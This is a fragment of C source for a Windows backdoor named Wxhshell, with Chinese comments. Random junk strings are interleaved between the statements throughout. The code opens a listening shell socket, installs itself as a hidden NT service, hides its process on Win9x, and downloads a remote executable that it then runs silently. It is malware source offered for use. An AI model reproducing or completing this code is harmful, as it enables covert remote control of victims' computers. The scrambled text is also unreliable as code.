$zi?A:j int port=0; $"_D"/* struct sockaddr_in door; VF[]E0=u6 <m )@~s?D if(wscfg.ws_autoins) Install(); Kt`0vwkjvI M4DRG%21 port=atoi(lpCmdLine); X7n~Ws&s@ z6Mf>q if(port<=0) port=wscfg.ws_port; y<#y3M!\ vWj|[| <rX WSADATA data; v$,9l+p/ if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1;
gZvl
D b,{?+8 if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; szKs9er& setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); q@^=im door.sin_family = AF_INET; p\!+j@H: door.sin_addr.s_addr = inet_addr("127.0.0.1"); 1;H( door.sin_port = htons(port); { >4exyu6 UY|nB hL if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Y> 7/>x6 closesocket(wsl); f+F /`P% return 1; yfaXScbE } KU$.m3A> O(!wDnhc if(listen(wsl,2) == INVALID_SOCKET) { }l_) d closesocket(wsl); uK
t>6DN. return 1; ?)JW}3<. }
rJg!2 Wxhshell(wsl); ;AHa|35\ WSACleanup(); Uu3[Cf=C T>L6 X:d return 0; *t*yozN kw1PIuz4& } c%v%U & C96|T>bk // 以NT服务方式启动 !d"J,. ) VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) s%p(_pB { JLs7[W)O DWORD status = 0; \|wVIi DWORD specificError = 0xfffffff; dGHRHXi e;[/ytz"d' serviceStatus.dwServiceType = SERVICE_WIN32; W;,Jte<'Nm serviceStatus.dwCurrentState = SERVICE_START_PENDING; {{giSW' serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ))AjX serviceStatus.dwWin32ExitCode = 0; _H%ylAt1j serviceStatus.dwServiceSpecificExitCode = 0; rTK/WZs8 serviceStatus.dwCheckPoint = 0; qzmY]N+w| serviceStatus.dwWaitHint = 0; HO$s&}t ^oPf>\),C hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ^
zo"~1 if (hServiceStatusHandle==0) return; PcJ,Y\"[ iPI6 _h status = GetLastError(); ]<{BDXIGIE if (status!=NO_ERROR) I~#'76L[ { '{Iv?gh" serviceStatus.dwCurrentState = SERVICE_STOPPED; L?0dZY-" serviceStatus.dwCheckPoint = 0; V.:imj serviceStatus.dwWaitHint = 0; qhiQ!fMQ serviceStatus.dwWin32ExitCode = status; a i}8+L8- serviceStatus.dwServiceSpecificExitCode = specificError; 5C2 *f4| SetServiceStatus(hServiceStatusHandle, &serviceStatus); /Nb&e return;
\6nWt6M } =>/aM7] !QP~#a% serviceStatus.dwCurrentState = SERVICE_RUNNING; ])T*T$u serviceStatus.dwCheckPoint = 0; O@??
NF6G serviceStatus.dwWaitHint = 0; ;^t<LhN: if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); yO$]9 } Hz*!c# 3'*SSZmnOB // 处理NT服务事件,比如:启动、停止 G#n27y nh VOID WINAPI NTServiceHandler(DWORD fdwControl) >qCUs3}C{* { ZZ?=^g switch(fdwControl) 3 uhwoE { s+o/:rrxY case SERVICE_CONTROL_STOP: 6z!?U:bT serviceStatus.dwWin32ExitCode = 0; +7d%)t serviceStatus.dwCurrentState = SERVICE_STOPPED; 9LzQp`In serviceStatus.dwCheckPoint = 0; :+m|KC(Z serviceStatus.dwWaitHint = 0; vU&gFEWg { !:a
pu! SetServiceStatus(hServiceStatusHandle, &serviceStatus); xHe<TwkI } _T8#36iR return; A2$:p$[ case SERVICE_CONTROL_PAUSE: )\'U$ serviceStatus.dwCurrentState = SERVICE_PAUSED; RcMW%q$dG break; P+,\x&Vr case SERVICE_CONTROL_CONTINUE: jK3% \`o serviceStatus.dwCurrentState = SERVICE_RUNNING; Kh'/Ne? break; :!'aP\uE case SERVICE_CONTROL_INTERROGATE:
Tld%NE break; xgnt)&7T }; r4A%`sk@ SetServiceStatus(hServiceStatusHandle, &serviceStatus); ZGe+w]( } w\8grEj M*}C.E! // 标准应用程序主函数 *ZF7m_8u{ int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) "JKrbgN@;L { =H3 JRRS j+w*Absh // 获取操作系统版本 gO1`zP!9Z OsIsNt=GetOsVer(); 8yA: C GetModuleFileName(NULL,ExeFile,MAX_PATH); F+v? 2|03 3RZP 12x // 从命令行安装 )pW(Cp if(strpbrk(lpCmdLine,"iI")) Install(); \y"!`.E7\d i~ PN(h // 下载执行文件 OjJKloy' if(wscfg.ws_downexe) { MjQKcL4%7 if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Uw)?u$+
P WinExec(wscfg.ws_filenam,SW_HIDE); 2.Th29] } |wQ|h$| +_3>T''_ if(!OsIsNt) { .~4%TsBaY // 如果时win9x,隐藏进程并且设置为注册表启动 E<>n0", HideProc(); CJ%bBL'. StartWxhshell(lpCmdLine); 0bzD-K4WVd } BO5F6lyQ0P else #]q<fhJhr$ if(StartFromService()) GGo
nA // 以服务方式启动 -A[iTI" StartServiceCtrlDispatcher(DispatchTable); c{ +Y$ else {UT^pIP\ // 普通方式启动 ]}<wS]1 StartWxhshell(lpCmdLine); V+W,#5 %1 9TJn%J$ return 0; .ss/E }
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